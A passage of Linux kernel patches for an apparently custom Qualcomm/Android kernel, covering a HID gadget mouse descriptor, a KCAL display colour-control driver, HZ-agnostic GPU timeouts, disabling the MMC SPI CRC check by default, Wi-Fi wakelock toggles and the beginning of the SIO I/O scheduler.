b/drivers/usb/gadget/f_hid_android_mouse.c new file mode 100644 index 0000000000000..075d12522705d --- /dev/null +++ b/drivers/usb/gadget/f_hid_android_mouse.c @@ -0,0 +1,40 @@ +#include +#include + +/* HID descriptor for a mouse */ +static struct hidg_func_descriptor ghid_device_android_mouse = { + .subclass = 1, /* Boot Interface Subclass */ + .protocol = 2, /* Mouse */ + .report_length = 4, + .report_desc_length = 52, + .report_desc = { + 0x05, 0x01, //Usage Page(Generic Desktop Controls) + 0x09, 0x02, //Usage (Mouse) + 0xa1, 0x01, //Collection (Application) + 0x09, 0x01, //Usage (pointer) + 0xa1, 0x00, //Collection (Physical) + 0x05, 0x09, //Usage Page (Button) + 0x19, 0x01, //Usage Minimum(1) + 0x29, 0x05, //Usage Maximum(5) + 0x15, 0x00, //Logical Minimum(1) + 0x25, 0x01, //Logical Maximum(1) + 0x95, 0x05, //Report Count(5) + 0x75, 0x01, //Report Size(1) + 0x81, 0x02, //Input(Data,Variable,Absolute,BitField) + 0x95, 0x01, //Report Count(1) + 0x75, 0x03, //Report Size(3) + 0x81, 0x01, //Input(Constant,Array,Absolute,BitField) + 0x05, 0x01, //Usage Page(Generic Desktop Controls) + 0x09, 0x30, //Usage(x) + 0x09, 0x31, //Usage(y) + 0x09, 0x38, //Usage(Wheel) + 0x15, 0x81, //Logical Minimum(-127) + 0x25, 0x7F, //Logical Maximum(127) + 0x75, 0x08, //Report Size(8) + 0x95, 0x03, //Report Count(3) + 0x81, 0x06, //Input(Data,Variable,Relative,BitField) + 0xc0, //End Collection + 0xc0 //End Collection + } +}; + From 0017bfc660d4cb4a700f6a2c2139819b46d22855 Mon Sep 17 00:00:00 2001 From: savoca Date: Thu, 4 Aug 2016 12:10:23 +0530 Subject: [PATCH 175/365] msm: mdss: kcal: Add KCAL support for post processing control [v2] --- drivers/video/msm/mdss/Kconfig | 8 + drivers/video/msm/mdss/Makefile | 1 + drivers/video/msm/mdss/mdss_mdp_kcal_ctrl.c | 484 ++++++++++++++++++++ 3 files changed, 493 insertions(+) create mode 100644 drivers/video/msm/mdss/mdss_mdp_kcal_ctrl.c diff --git a/drivers/video/msm/mdss/Kconfig b/drivers/video/msm/mdss/Kconfig index b75f362529c2e..6dc862a5ba14f 100644 --- a/drivers/video/msm/mdss/Kconfig +++ b/drivers/video/msm/mdss/Kconfig @@ -43,3 +43,11 @@ config FB_MSM_MDSS_MDP3 ---help--- The MDP3 provides support for an older version display controller included in latest display sub-system, known as MDSS. + +config FB_MSM_MDSS_KCAL_CTRL + depends on FB_MSM_MDSS + bool "MDSS color control" + default n + ---help--- + Enable sysfs for rgb/lut control for mdss-mdp display controllers + in the MDSS sub-system. diff --git a/drivers/video/msm/mdss/Makefile b/drivers/video/msm/mdss/Makefile index 1a82aaf7ab089..beab61070b7aa 100644 --- a/drivers/video/msm/mdss/Makefile +++ b/drivers/video/msm/mdss/Makefile @@ -52,3 +52,4 @@ obj-$(CONFIG_FB_MSM_MDSS) += mdss_fb.o mdss_util.o obj-$(CONFIG_COMPAT) += mdss_compat_utils.o obj-$(CONFIG_FB_MSM_MDSS) += mdss_livedisplay.o +obj-$(CONFIG_FB_MSM_MDSS_KCAL_CTRL) += mdss_mdp_kcal_ctrl.o diff --git a/drivers/video/msm/mdss/mdss_mdp_kcal_ctrl.c b/drivers/video/msm/mdss/mdss_mdp_kcal_ctrl.c new file mode 100644 index 0000000000000..fa38f7627856c --- /dev/null +++ b/drivers/video/msm/mdss/mdss_mdp_kcal_ctrl.c @@ -0,0 +1,484 @@ +/* + * Copyright (c) 2011-2013, The Linux Foundation. All rights reserved. + * Copyright (c) 2013, LGE Inc. All rights reserved + * Copyright (c) 2014 savoca + * Copyright (c) 2014 Paul Reioux + * + * This software is licensed under the terms of the GNU General Public + * License version 2, as published by the Free Software Foundation, and + * may be copied, distributed, and modified under those terms. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include +#include +#include +#include +#include +#include + +#include "mdss_mdp.h" + +#define DEF_PCC 0x100 +#define DEF_PA 0xff +#define PCC_ADJ 0x80 + +struct kcal_lut_data { + int red; + int green; + int blue; + int minimum; + int enable; + int invert; + int sat; + int hue; + int val; + int cont; +}; + +static int mdss_mdp_kcal_display_commit(void) +{ + int i; + int ret = 0; + struct mdss_mdp_ctl *ctl; + struct mdss_data_type *mdata = mdss_mdp_get_mdata(); + + for (i = 0; i < mdata->nctl; i++) { + ctl = mdata->ctl_off + i; + /* pp setup requires mfd */ + if (mdss_mdp_ctl_is_power_on(ctl) && ctl->mfd && + ctl->mfd->index == 0) { + ret = mdss_mdp_pp_setup(ctl); + if (ret) + pr_err("%s: setup failed: %d\n", __func__, ret); + } + } + + return ret; +} + +static void mdss_mdp_kcal_update_pcc(struct kcal_lut_data *lut_data) +{ + u32 copyback = 0; + struct mdp_pcc_cfg_data pcc_config; + + memset(&pcc_config, 0, sizeof(struct mdp_pcc_cfg_data)); + + lut_data->red = lut_data->red < lut_data->minimum ? + lut_data->minimum : lut_data->red; + lut_data->green = lut_data->green < lut_data->minimum ? + lut_data->minimum : lut_data->green; + lut_data->blue = lut_data->blue < lut_data->minimum ? + lut_data->minimum : lut_data->blue; + + pcc_config.block = MDP_LOGICAL_BLOCK_DISP_0; + pcc_config.ops = lut_data->enable ? + MDP_PP_OPS_WRITE | MDP_PP_OPS_ENABLE : + MDP_PP_OPS_WRITE | MDP_PP_OPS_DISABLE; + pcc_config.r.r = lut_data->red * PCC_ADJ; + pcc_config.g.g = lut_data->green * PCC_ADJ; + pcc_config.b.b = lut_data->blue * PCC_ADJ; + + if (lut_data->invert) { + pcc_config.r.c = pcc_config.g.c = + pcc_config.b.c = 0x7ff8; + pcc_config.r.r |= (0xffff << 16); + pcc_config.g.g |= (0xffff << 16); + pcc_config.b.b |= (0xffff << 16); + } + + mdss_mdp_pcc_config(&pcc_config, ©back); +} + +static void mdss_mdp_kcal_read_pcc(struct kcal_lut_data *lut_data) +{ + u32 copyback = 0; + struct mdp_pcc_cfg_data pcc_config; + + memset(&pcc_config, 0, sizeof(struct mdp_pcc_cfg_data)); + + pcc_config.block = MDP_LOGICAL_BLOCK_DISP_0; + pcc_config.ops = MDP_PP_OPS_READ; + + mdss_mdp_pcc_config(&pcc_config, ©back); + + /* LiveDisplay disables pcc when using default values and regs + * are zeroed on pp resume, so throw these values out. + */ + if (!pcc_config.r.r && !pcc_config.g.g && !pcc_config.b.b) + return; + + lut_data->red = (pcc_config.r.r & 0xffff) / PCC_ADJ; + lut_data->green = (pcc_config.g.g & 0xffff) / PCC_ADJ; + lut_data->blue = (pcc_config.b.b & 0xffff) / PCC_ADJ; +} + +static void mdss_mdp_kcal_update_pa(struct kcal_lut_data *lut_data) +{ + u32 copyback = 0; + struct mdp_pa_cfg_data pa_config; + struct mdp_pa_v2_cfg_data pa_v2_config; + struct mdss_data_type *mdata = mdss_mdp_get_mdata(); + + if (mdata->mdp_rev < MDSS_MDP_HW_REV_103) { + memset(&pa_config, 0, sizeof(struct mdp_pa_cfg_data)); + + pa_config.block = MDP_LOGICAL_BLOCK_DISP_0; + pa_config.pa_data.flags = lut_data->enable ? + MDP_PP_OPS_WRITE | MDP_PP_OPS_ENABLE : + MDP_PP_OPS_WRITE | MDP_PP_OPS_DISABLE; + pa_config.pa_data.hue_adj = lut_data->hue; + pa_config.pa_data.sat_adj = lut_data->sat; + pa_config.pa_data.val_adj = lut_data->val; + pa_config.pa_data.cont_adj = lut_data->cont; + + mdss_mdp_pa_config(&pa_config, ©back); + } else { + memset(&pa_v2_config, 0, sizeof(struct mdp_pa_v2_cfg_data)); + + pa_v2_config.block = MDP_LOGICAL_BLOCK_DISP_0; + pa_v2_config.pa_v2_data.flags = lut_data->enable ? + MDP_PP_OPS_WRITE | MDP_PP_OPS_ENABLE : + MDP_PP_OPS_WRITE | MDP_PP_OPS_DISABLE; + pa_v2_config.pa_v2_data.flags |= MDP_PP_PA_HUE_ENABLE; + pa_v2_config.pa_v2_data.flags |= MDP_PP_PA_HUE_MASK; + pa_v2_config.pa_v2_data.flags |= MDP_PP_PA_SAT_ENABLE; + pa_v2_config.pa_v2_data.flags |= MDP_PP_PA_SAT_MASK; + pa_v2_config.pa_v2_data.flags |= MDP_PP_PA_VAL_ENABLE; + pa_v2_config.pa_v2_data.flags |= MDP_PP_PA_VAL_MASK; + pa_v2_config.pa_v2_data.flags |= MDP_PP_PA_CONT_ENABLE; + pa_v2_config.pa_v2_data.flags |= MDP_PP_PA_CONT_MASK; + pa_v2_config.pa_v2_data.global_hue_adj = lut_data->hue; + pa_v2_config.pa_v2_data.global_sat_adj = lut_data->sat; + pa_v2_config.pa_v2_data.global_val_adj = lut_data->val; + pa_v2_config.pa_v2_data.global_cont_adj = lut_data->cont; + + mdss_mdp_pa_v2_config(&pa_v2_config, ©back); + } +} + +static ssize_t kcal_store(struct device *dev, struct device_attribute *attr, + const char *buf, size_t count) +{ + int kcal_r, kcal_g, kcal_b, r; + struct kcal_lut_data *lut_data = dev_get_drvdata(dev); + + r = sscanf(buf, "%d %d %d", &kcal_r, &kcal_g, &kcal_b); + if ((r != 3) || (kcal_r < 1 || kcal_r > 256) || + (kcal_g < 1 || kcal_g > 256) || (kcal_b < 1 || kcal_b > 256)) + return -EINVAL; + + lut_data->red = kcal_r; + lut_data->green = kcal_g; + lut_data->blue = kcal_b; + + mdss_mdp_kcal_update_pcc(lut_data); + mdss_mdp_kcal_display_commit(); + + return count; +} + +static ssize_t kcal_show(struct device *dev, struct device_attribute *attr, + char *buf) +{ + struct kcal_lut_data *lut_data = dev_get_drvdata(dev); + + mdss_mdp_kcal_read_pcc(lut_data); + + return scnprintf(buf, PAGE_SIZE, "%d %d %d\n", + lut_data->red, lut_data->green, lut_data->blue); +} + +static ssize_t kcal_min_store(struct device *dev, + struct device_attribute *attr, const char *buf, size_t count) +{ + int kcal_min, r; + struct kcal_lut_data *lut_data = dev_get_drvdata(dev); + + r = kstrtoint(buf, 10, &kcal_min); + if ((r) || (kcal_min < 1 || kcal_min > 256)) + return -EINVAL; + + lut_data->minimum = kcal_min; + + mdss_mdp_kcal_update_pcc(lut_data); + mdss_mdp_kcal_display_commit(); + + return count; +} + +static ssize_t kcal_min_show(struct device *dev, + struct device_attribute *attr, char *buf) +{ + struct kcal_lut_data *lut_data = dev_get_drvdata(dev); + + return scnprintf(buf, PAGE_SIZE, "%d\n", lut_data->minimum); +} + +static ssize_t kcal_enable_store(struct device *dev, + struct device_attribute *attr, const char *buf, size_t count) +{ + int kcal_enable, r; + struct kcal_lut_data *lut_data = dev_get_drvdata(dev); + + r = kstrtoint(buf, 10, &kcal_enable); + if ((r) || (kcal_enable != 0 && kcal_enable != 1) || + (lut_data->enable == kcal_enable)) + return -EINVAL; + + lut_data->enable = kcal_enable; + + mdss_mdp_kcal_update_pcc(lut_data); + mdss_mdp_kcal_update_pa(lut_data); + mdss_mdp_kcal_display_commit(); + + return count; +} + +static ssize_t kcal_enable_show(struct device *dev, + struct device_attribute *attr, char *buf) +{ + struct kcal_lut_data *lut_data = dev_get_drvdata(dev); + + return scnprintf(buf, PAGE_SIZE, "%d\n", lut_data->enable); +} + +static ssize_t kcal_invert_store(struct device *dev, + struct device_attribute *attr, const char *buf, size_t count) +{ + int kcal_invert, r; + struct kcal_lut_data *lut_data = dev_get_drvdata(dev); + + r = kstrtoint(buf, 10, &kcal_invert); + if ((r) || (kcal_invert != 0 && kcal_invert != 1) || + (lut_data->invert == kcal_invert)) + return -EINVAL; + + lut_data->invert = kcal_invert; + + mdss_mdp_kcal_update_pcc(lut_data); + mdss_mdp_kcal_display_commit(); + + return count; +} + +static ssize_t kcal_invert_show(struct device *dev, + struct device_attribute *attr, char *buf) +{ + struct kcal_lut_data *lut_data = dev_get_drvdata(dev); + + return scnprintf(buf, PAGE_SIZE, "%d\n", lut_data->invert); +} + +static ssize_t kcal_sat_store(struct device *dev, + struct device_attribute *attr, const char *buf, size_t count) +{ + int kcal_sat, r; + struct kcal_lut_data *lut_data = dev_get_drvdata(dev); + + r = kstrtoint(buf, 10, &kcal_sat); + if ((r) || ((kcal_sat < 224 || kcal_sat > 383) && kcal_sat != 128)) + return -EINVAL; + + lut_data->sat = kcal_sat; + + mdss_mdp_kcal_update_pa(lut_data); + mdss_mdp_kcal_display_commit(); + + return count; +} + +static ssize_t kcal_sat_show(struct device *dev, + struct device_attribute *attr, char *buf) +{ + struct kcal_lut_data *lut_data = dev_get_drvdata(dev); + + return scnprintf(buf, PAGE_SIZE, "%d\n", lut_data->sat); +} + +static ssize_t kcal_hue_store(struct device *dev, + struct device_attribute *attr, const char *buf, size_t count) +{ + int kcal_hue, r; + struct kcal_lut_data *lut_data = dev_get_drvdata(dev); + + r = kstrtoint(buf, 10, &kcal_hue); + if ((r) || (kcal_hue < 0 || kcal_hue > 1536)) + return -EINVAL; + + lut_data->hue = kcal_hue; + + mdss_mdp_kcal_update_pa(lut_data); + mdss_mdp_kcal_display_commit(); + + return count; +} + +static ssize_t kcal_hue_show(struct device *dev, + struct device_attribute *attr, char *buf) +{ + struct kcal_lut_data *lut_data = dev_get_drvdata(dev); + + return scnprintf(buf, PAGE_SIZE, "%d\n", lut_data->hue); +} + +static ssize_t kcal_val_store(struct device *dev, + struct device_attribute *attr, const char *buf, size_t count) +{ + int kcal_val, r; + struct kcal_lut_data *lut_data = dev_get_drvdata(dev); + + r = kstrtoint(buf, 10, &kcal_val); + if ((r) || (kcal_val < 128 || kcal_val > 383)) + return -EINVAL; + + lut_data->val = kcal_val; + + mdss_mdp_kcal_update_pa(lut_data); + mdss_mdp_kcal_display_commit(); + + return count; +} + +static ssize_t kcal_val_show(struct device *dev, + struct device_attribute *attr, char *buf) +{ + struct kcal_lut_data *lut_data = dev_get_drvdata(dev); + + return scnprintf(buf, PAGE_SIZE, "%d\n", lut_data->val); +} + +static ssize_t kcal_cont_store(struct device *dev, + struct device_attribute *attr, const char *buf, size_t count) +{ + int kcal_cont, r; + struct kcal_lut_data *lut_data = dev_get_drvdata(dev); + + r = kstrtoint(buf, 10, &kcal_cont); + if ((r) || (kcal_cont < 128 || kcal_cont > 383)) + return -EINVAL; + + lut_data->cont = kcal_cont; + + mdss_mdp_kcal_update_pa(lut_data); + mdss_mdp_kcal_display_commit(); + + return count; +} + +static ssize_t kcal_cont_show(struct device *dev, + struct device_attribute *attr, char *buf) +{ + struct kcal_lut_data *lut_data = dev_get_drvdata(dev); + + return scnprintf(buf, PAGE_SIZE, "%d\n", lut_data->cont); +} + +static DEVICE_ATTR(kcal, S_IWUSR | S_IRUGO, kcal_show, kcal_store); +static DEVICE_ATTR(kcal_min, S_IWUSR | S_IRUGO, kcal_min_show, kcal_min_store); +static DEVICE_ATTR(kcal_enable, S_IWUSR | S_IRUGO, kcal_enable_show, + kcal_enable_store); +static DEVICE_ATTR(kcal_invert, S_IWUSR | S_IRUGO, kcal_invert_show, + kcal_invert_store); +static DEVICE_ATTR(kcal_sat, S_IWUSR | S_IRUGO, kcal_sat_show, kcal_sat_store); +static DEVICE_ATTR(kcal_hue, S_IWUSR | S_IRUGO, kcal_hue_show, kcal_hue_store); +static DEVICE_ATTR(kcal_val, S_IWUSR | S_IRUGO, kcal_val_show, kcal_val_store); +static DEVICE_ATTR(kcal_cont, S_IWUSR | S_IRUGO, kcal_cont_show, + kcal_cont_store); + +static int kcal_ctrl_probe(struct platform_device *pdev) +{ + int ret; + struct kcal_lut_data *lut_data; + + lut_data = devm_kzalloc(&pdev->dev, sizeof(*lut_data), GFP_KERNEL); + if (!lut_data) { + pr_err("%s: failed to allocate memory for lut_data\n", + __func__); + return -ENOMEM; + } + + platform_set_drvdata(pdev, lut_data); + + lut_data->enable = 0x1; + lut_data->red = DEF_PCC; + lut_data->green = DEF_PCC; + lut_data->blue = DEF_PCC; + lut_data->minimum = 0x23; + lut_data->invert = 0x0; + lut_data->hue = 0x0; + lut_data->sat = DEF_PA; + lut_data->val = DEF_PA; + lut_data->cont = DEF_PA; + + mdss_mdp_kcal_update_pcc(lut_data); + mdss_mdp_kcal_update_pa(lut_data); + mdss_mdp_kcal_display_commit(); + + ret = device_create_file(&pdev->dev, &dev_attr_kcal); + ret |= device_create_file(&pdev->dev, &dev_attr_kcal_min); + ret |= device_create_file(&pdev->dev, &dev_attr_kcal_enable); + ret |= device_create_file(&pdev->dev, &dev_attr_kcal_invert); + ret |= device_create_file(&pdev->dev, &dev_attr_kcal_sat); + ret |= device_create_file(&pdev->dev, &dev_attr_kcal_hue); + ret |= device_create_file(&pdev->dev, &dev_attr_kcal_val); + ret |= device_create_file(&pdev->dev, &dev_attr_kcal_cont); + if (ret) { + pr_err("%s: unable to create sysfs entries\n", __func__); + return ret; + } + + return 0; +} + +static int kcal_ctrl_remove(struct platform_device *pdev) +{ + device_remove_file(&pdev->dev, &dev_attr_kcal); + device_remove_file(&pdev->dev, &dev_attr_kcal_min); + device_remove_file(&pdev->dev, &dev_attr_kcal_enable); + device_remove_file(&pdev->dev, &dev_attr_kcal_invert); + device_remove_file(&pdev->dev, &dev_attr_kcal_sat); + device_remove_file(&pdev->dev, &dev_attr_kcal_hue); + device_remove_file(&pdev->dev, &dev_attr_kcal_val); + device_remove_file(&pdev->dev, &dev_attr_kcal_cont); + + return 0; +} + +static struct platform_driver kcal_ctrl_driver = { + .probe = kcal_ctrl_probe, + .remove = kcal_ctrl_remove, + .driver = { + .name = "kcal_ctrl", + }, +}; + +static struct platform_device kcal_ctrl_device = { + .name = "kcal_ctrl", +}; + +static int __init kcal_ctrl_init(void) +{ + if (platform_driver_register(&kcal_ctrl_driver)) + return -ENODEV; + + if (platform_device_register(&kcal_ctrl_device)) + return -ENODEV; + + pr_info("%s: registered\n", __func__); + + return 0; +} + +static void __exit kcal_ctrl_exit(void) +{ + platform_device_unregister(&kcal_ctrl_device); + platform_driver_unregister(&kcal_ctrl_driver); +} + +module_init(kcal_ctrl_init); +module_exit(kcal_ctrl_exit); From f24b52921fb6decb67fe7177b74a5845cbd0ab8c Mon Sep 17 00:00:00 2001 From: Ajay Dudani Date: Thu, 10 Dec 2015 12:19:16 -0800 Subject: [PATCH 176/365] msm: kgsl: Fix direct references to HZ Make the various timeout values HZ agnostic by using the proper macros and values instead. Change-Id: I906b948657c8873518042c7465272c98c5391e59 Signed-off-by: Suman Tatiraju Signed-off-by: Ajay Dudani Signed-off-by: Pranav Vashi --- Documentation/devicetree/bindings/gpu/adreno.txt | 2 +- arch/arm/boot/dts/qcom/msm8916-gpu.dtsi | 4 ++-- arch/arm/boot/dts/qcom/msm8939-gpu.dtsi | 2 +- arch/arm/boot/dts/qcom/msm8939-v3.0-gpu.dtsi | 2 +- drivers/gpu/msm/adreno.c | 2 +- drivers/gpu/msm/adreno_dispatch.c | 2 +- drivers/gpu/msm/adreno_profile.c | 2 +- drivers/gpu/msm/kgsl_device.h | 2 -- drivers/gpu/msm/kgsl_pwrctrl.c | 4 ++-- 9 files changed, 10 insertions(+), 12 deletions(-) diff --git a/Documentation/devicetree/bindings/gpu/adreno.txt b/Documentation/devicetree/bindings/gpu/adreno.txt index d196343d42983..f0fb44ba16cef 100644 --- a/Documentation/devicetree/bindings/gpu/adreno.txt +++ b/Documentation/devicetree/bindings/gpu/adreno.txt @@ -87,7 +87,7 @@ Optional Properties: - qcom,bus-control: Boolean. Enables an independent bus vote from the gpu frequency - qcom,gpubw-dev: a phandle to a device representing bus bandwidth requirements (see devdw.txt) -- qcom,idle-timeout: This property represents the time in microseconds for idle timeout. +- qcom,idle-timeout: This property represents the time in milliseconds for idle timeout. - qcom,chipid: If it exists this property is used to replace the chip identification read from the GPU hardware. This is used to override faulty hardware readings. diff --git a/arch/arm/boot/dts/qcom/msm8916-gpu.dtsi b/arch/arm/boot/dts/qcom/msm8916-gpu.dtsi index a7e10313b6d8c..da1fc561de77d 100644 --- a/arch/arm/boot/dts/qcom/msm8916-gpu.dtsi +++ b/arch/arm/boot/dts/qcom/msm8916-gpu.dtsi @@ -29,8 +29,8 @@ qcom,initial-pwrlevel = <1>; - /* Idle Timeout = HZ/12 */ - qcom,idle-timeout = <8>; + /* Idle Timeout = msec */ + qcom,idle-timeout = <80>; qcom,strtstp-sleepwake; /* diff --git a/arch/arm/boot/dts/qcom/msm8939-gpu.dtsi b/arch/arm/boot/dts/qcom/msm8939-gpu.dtsi index fa4463afe2fcb..e114c5bd52541 100644 --- a/arch/arm/boot/dts/qcom/msm8939-gpu.dtsi +++ b/arch/arm/boot/dts/qcom/msm8939-gpu.dtsi @@ -51,7 +51,7 @@ qcom,initial-pwrlevel = <2>; - qcom,idle-timeout = <8>; // + qcom,idle-timeout = <80>; //msec qcom,strtstp-sleepwake; /* Clocks = KGSL_CLK_CORE | KGSL_CLK_IFACE | KGSL_CLK_MEM | diff --git a/arch/arm/boot/dts/qcom/msm8939-v3.0-gpu.dtsi b/arch/arm/boot/dts/qcom/msm8939-v3.0-gpu.dtsi index 86288150baadd..f3cbb00b383ea 100644 --- a/arch/arm/boot/dts/qcom/msm8939-v3.0-gpu.dtsi +++ b/arch/arm/boot/dts/qcom/msm8939-v3.0-gpu.dtsi @@ -50,7 +50,7 @@ qcom,initial-pwrlevel = <2>; - qcom,idle-timeout = <8>; // + qcom,idle-timeout = <80>; //msec qcom,strtstp-sleepwake; /* Clocks = KGSL_CLK_CORE | KGSL_CLK_IFACE | KGSL_CLK_MEM | diff --git a/drivers/gpu/msm/adreno.c b/drivers/gpu/msm/adreno.c index 95be180effa33..c05b6463edeb2 100644 --- a/drivers/gpu/msm/adreno.c +++ b/drivers/gpu/msm/adreno.c @@ -877,7 +877,7 @@ static int adreno_of_get_pdata(struct platform_device *pdev) if (of_property_read_u32(pdev->dev.of_node, "qcom,idle-timeout", &pdata->idle_timeout)) - pdata->idle_timeout = HZ/12; + pdata->idle_timeout = 80; pdata->strtstp_sleepwake = of_property_read_bool(pdev->dev.of_node, "qcom,strtstp-sleepwake"); diff --git a/drivers/gpu/msm/adreno_dispatch.c b/drivers/gpu/msm/adreno_dispatch.c index f5b36d8fc59d5..8a31ee77e1010 100644 --- a/drivers/gpu/msm/adreno_dispatch.c +++ b/drivers/gpu/msm/adreno_dispatch.c @@ -406,7 +406,7 @@ static struct kgsl_cmdbatch *_get_cmdbatch(struct adreno_context *drawctxt) * it hasn't already been started */ if (!cmdbatch->timeout_jiffies) { - cmdbatch->timeout_jiffies = jiffies + 5 * HZ; + cmdbatch->timeout_jiffies = jiffies + msecs_to_jiffies(5000); mod_timer(&cmdbatch->timer, cmdbatch->timeout_jiffies); } diff --git a/drivers/gpu/msm/adreno_profile.c b/drivers/gpu/msm/adreno_profile.c index c26dcb80d1a5c..1305ee86fa15a 100644 --- a/drivers/gpu/msm/adreno_profile.c +++ b/drivers/gpu/msm/adreno_profile.c @@ -939,7 +939,7 @@ static ssize_t profile_pipe_print(struct file *filep, char __user *ubuf, mutex_unlock(&device->mutex); set_current_state(TASK_INTERRUPTIBLE); - schedule_timeout(HZ / 10); + schedule_timeout(msecs_to_jiffies(100)); mutex_lock(&device->mutex); if (signal_pending(current)) { diff --git a/drivers/gpu/msm/kgsl_device.h b/drivers/gpu/msm/kgsl_device.h index 960d8e2b49b39..b26a1009f7213 100644 --- a/drivers/gpu/msm/kgsl_device.h +++ b/drivers/gpu/msm/kgsl_device.h @@ -32,8 +32,6 @@ #define KGSL_TIMEOUT_DEFAULT 0xFFFFFFFF #define KGSL_TIMEOUT_PART 50 /* 50 msec */ -#define FIRST_TIMEOUT (HZ / 2) - #define KGSL_IOCTL_FUNC(_cmd, _func) \ [_IOC_NR((_cmd))] = \ { .cmd = (_cmd), .func = (_func) } diff --git a/drivers/gpu/msm/kgsl_pwrctrl.c b/drivers/gpu/msm/kgsl_pwrctrl.c index 4915087256fbf..2018eedd68be9 100644 --- a/drivers/gpu/msm/kgsl_pwrctrl.c +++ b/drivers/gpu/msm/kgsl_pwrctrl.c @@ -46,7 +46,7 @@ #define MAX_UDELAY 2000 /* Number of jiffies for a full thermal cycle */ -#define TH_HZ 20 +#define TH_HZ (HZ/5) #define KGSL_MAX_BUSLEVELS 20 @@ -1325,7 +1325,7 @@ int kgsl_pwrctrl_init(struct kgsl_device *device) pwr->power_flags = 0; - pwr->interval_timeout = pdata->idle_timeout; + pwr->interval_timeout = msecs_to_jiffies(pdata->idle_timeout); pwr->strtstp_sleepwake = pdata->strtstp_sleepwake; if (kgsl_property_read_u32(device, "qcom,pm-qos-active-latency", From 032ce0d04c35e73cdf4e82ef1cc5a0d9f4f3a1f4 Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Wed, 14 Dec 2016 11:31:44 +0530 Subject: [PATCH 177/365] arm: Allow configuration of CONFIG_HZ --- arch/arm/Kconfig | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig index 2a3c8a108b82a..25c7529990c25 100644 --- a/arch/arm/Kconfig +++ b/arch/arm/Kconfig @@ -1647,13 +1647,7 @@ config ARCH_NR_GPIO source kernel/Kconfig.preempt -config HZ - int - default 200 if ARCH_EBSA110 || ARCH_S3C24XX || ARCH_S5P64X0 || \ - ARCH_S5PV210 || ARCH_EXYNOS4 - default AT91_TIMER_HZ if ARCH_AT91 - default SHMOBILE_TIMER_HZ if ARCH_SHMOBILE - default 100 +source kernel/Kconfig.hz config SCHED_HRTICK def_bool HIGH_RES_TIMERS From c7fbd8de48cc82c5ee27dd87d2d67b628f4e21af Mon Sep 17 00:00:00 2001 From: flar2 Date: Thu, 4 Aug 2016 12:13:39 +0530 Subject: [PATCH 178/365] disable crc check --- drivers/mmc/core/core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/mmc/core/core.c b/drivers/mmc/core/core.c index ccae16f6a78b8..b5f7451efffd8 100644 --- a/drivers/mmc/core/core.c +++ b/drivers/mmc/core/core.c @@ -69,7 +69,7 @@ static const unsigned freqs[] = { 400000, 300000, 200000, 100000 }; * performance cost, and for other reasons may not always be desired. * So we allow it it to be disabled. */ -bool use_spi_crc = 1; +bool use_spi_crc = 0; module_param(use_spi_crc, bool, 0); /* From 53917bb9804f33435646fe37f3cd43645747d99a Mon Sep 17 00:00:00 2001 From: franciscofranco Date: Fri, 5 Aug 2016 12:10:53 +0530 Subject: [PATCH 179/365] wakeup: add toggles for wlan wakelocks They are all enabled by default, it's up to the user and I provide no support if Wi-Fi stops working normally without these locks enabled. This is for advanced users. --- drivers/base/power/wakeup.c | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) diff --git a/drivers/base/power/wakeup.c b/drivers/base/power/wakeup.c index 14021720f1094..33caf513c69eb 100644 --- a/drivers/base/power/wakeup.c +++ b/drivers/base/power/wakeup.c @@ -15,6 +15,18 @@ #include #include #include +#include + +static bool enable_si_ws = true; +module_param(enable_si_ws, bool, 0644); +static bool enable_msm_hsic_ws = true; +module_param(enable_msm_hsic_ws, bool, 0644); +static bool wlan_rx_wake = true; +module_param(wlan_rx_wake, bool, 0644); +static bool wlan_ctrl_wake = true; +module_param(wlan_ctrl_wake, bool, 0644); +static bool wlan_wake = true; +module_param(wlan_wake, bool, 0644); #include "power.h" @@ -410,6 +422,21 @@ EXPORT_SYMBOL_GPL(device_set_wakeup_enable); static void wakeup_source_activate(struct wakeup_source *ws) { unsigned int cec; + + if (!enable_si_ws && !strcmp(ws->name, "sensor_ind")) + return; + + if (!enable_msm_hsic_ws && !strcmp(ws->name, "msm_hsic_host")) + return; + + if (!wlan_rx_wake && !strcmp(ws->name, "wlan_rx_wake")) + return; + + if (!wlan_ctrl_wake && !strcmp(ws->name, "wlan_ctrl_wake")) + return; + + if (!wlan_wake && !strcmp(ws->name, "wlan_wake")) + return; /* * active wakeup source should bring the system From 44b5400ffc243df0033550a91262ef6e2464549a Mon Sep 17 00:00:00 2001 From: James Christopher Adduono Date: Fri, 29 Apr 2016 01:17:49 -0400 Subject: [PATCH 180/365] Miguel Boton's SIO scheduler --- block/Kconfig.iosched | 14 ++ block/Makefile | 1 + block/sio-iosched.c | 393 ++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 408 insertions(+) create mode 100644 block/sio-iosched.c diff --git a/block/Kconfig.iosched b/block/Kconfig.iosched index f110acd6f2365..e0a9b7d34261c 100644 --- a/block/Kconfig.iosched +++ b/block/Kconfig.iosched @@ -43,6 +43,16 @@ config IOSCHED_ROW according to queue priority. Most suitable for mobile devices. +config IOSCHED_SIO + tristate "Simple I/O scheduler" + default y + ---help--- + The Simple I/O scheduler is an extremely simple scheduler, + based on noop and deadline, that relies on deadlines to + ensure fairness. The algorithm does not do any sorting but + basic merging, trying to keep a minimum overhead. It is aimed + mainly for aleatory access devices (eg: flash devices). + config IOSCHED_CFQ tristate "CFQ I/O scheduler" default y @@ -103,6 +113,9 @@ choice for each queue is defined according to queue priority. Most suitable for mobile devices. + config DEFAULT_SIO + bool "SIO" if IOSCHED_SIO=y + config DEFAULT_CFQ bool "CFQ" if IOSCHED_CFQ=y @@ -126,6 +139,7 @@ config DEFAULT_IOSCHED string default "deadline" if DEFAULT_DEADLINE default "row" if DEFAULT_ROW + default "sio" if DEFAULT_SIO default "cfq" if DEFAULT_CFQ default "bfq" if DEFAULT_BFQ default "noop" if DEFAULT_NOOP diff --git a/block/Makefile b/block/Makefile index a09bb260be13e..36ff266f9f237 100644 --- a/block/Makefile +++ b/block/Makefile @@ -15,6 +15,7 @@ obj-$(CONFIG_BLK_DEV_THROTTLING) += blk-throttle.o obj-$(CONFIG_IOSCHED_NOOP) += 